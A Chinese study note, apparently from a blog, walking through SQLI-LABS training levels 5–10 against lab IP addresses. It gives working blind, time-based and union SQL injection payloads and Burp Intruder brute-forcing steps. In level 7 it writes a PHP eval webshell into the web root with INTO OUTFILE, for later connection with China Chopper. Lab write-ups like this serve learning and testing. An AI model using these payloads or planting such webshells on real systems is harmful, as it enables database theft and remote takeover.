SQLI-LABS学习笔记(二)

逼话少说，如有错误，烦请指出，谢谢

这两天生病，效率很低

第5关

打开页面

发现跟前几题不同，没有直接返回数据.。

加个单引号

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1

报错信息发现已经被闭合了，那我们就order by 试一下看看

发现能有成功查询会返回 You are in ，而不会返回查询的数据，这题是一题盲注题

盲注就需要我们一个一个的猜字符了，

先构造注入语句

http://10.2.10.31/sqli/Less-5/?id=1' and
ascii(substr(database(),1,1)) > 10 --+

函数不懂的话可以使用搜索引擎查询

原理就是，获取当前的数据库的第一个字符，由于我们之前做了前几题，知道是s

所以我们直接用s来试，节约时间。

发现回显正常，换一个字符就没回显了，就说明s是第一个字符，以此类推获得整个数据库名。

再之后可以查询数据库中表的名称，方法也是一样，我贴一条

http://10.2.10.31/sqli/Less-5/?id=1' and
substr((select table_name from information_schema.tables where table_schema =
'security' limit 0,1),1,1) = 'e' --+

这样推，就可以把这题做出来。

当然，这样是最慢的方法，但是还是要掌握的。

我们可以使用bp的爆破模块来进行爆破。

首先先抓到我们需要的包

我这里就抓查询表的包了，之后把抓到的包发到爆破模块，intruder里面。

由于里面会默认选择爆破的信息，我们需要先点击clear。

选中要爆破的字符

再到payloads里面设置一下字典，这里我们可以选择他自带的字典。

并且修改字符最大值为1，最小值也为1

然后再到options里面设置一下线程。

最后点击start attack 就可以开始了

以此类推。

第五关结束。

第六关

第六关就是把单引号换成双引号，其他的都一样，没区别

第六关结束

第七关

测试注入

http://10.2.10.35/sqli/Less-7/?id=1'

报错，说明可能存在sql注入

继续测试，

当用1=2判断的时候，发现回显正常

最后测试，发现用http://10.2.10.35/sqli/Less-7/?id=1')) 可以成功闭合

之后提示要用outfile来写入文件

可以用第一关来帮助我们找到网站的绝对路径

@@datadir 读取数据库路径
@@basedir MYSQL 获取安装路径

http://10.2.10.35/sqli/Less-1/?id=-1'
union select 1,2,@@basedir --+

构造语句如下

http://10.2.10.35/sqli/Less-7/?id=-1'))
union select 1,'<?php @eval($_POST[value]);?>',3 into outfile
'D:/phpStudy/PHPTutorial/WWW/sqli/Less-7/d.php' --+

遇到写入不了的情况应该是mysq没有设置好

可以在mysql的命令行查看一下secure-file-priv当前的值

show variables like ‘%secure%’;

如果为Null

这则需要打开mysql下的my.ini文件，在其中添加上  secure_file_priv=”/”

之后使用菜刀就可以连接了。

第七关结束

第八关

测试注入点

http://10.2.10.35/sqli/Less-8/?id=1'

发现无回显

http://10.2.10.35/sqli/Less-8/?id=1'
--+

有回显

说明我们已经成功闭合了

就可以按照之前盲注的思路，接着注入就能得到答案

还有一种方法是通过if判断，利用sleep进行时间盲注

构造语句如下

http://10.2.10.35/sqli/Less-8/?id=1' and
if(length(database())>10,1,sleep(5)) 
--+

先判断长度，再用substr函数来判断每一位是什么，这里就不再赘述

第八关结束

第九关

换了一种方式

http://10.2.10.35/sqli/Less-9/?id=1' and sleep(5) --+

利用sleep判断是否执行了我们的sql语句

发现成功以后，还是按照之前的方法继续盲注，方法都一样

第九关结束

第十关

第十关就是把单引号换成了双引号，其他的都一样

第十关结束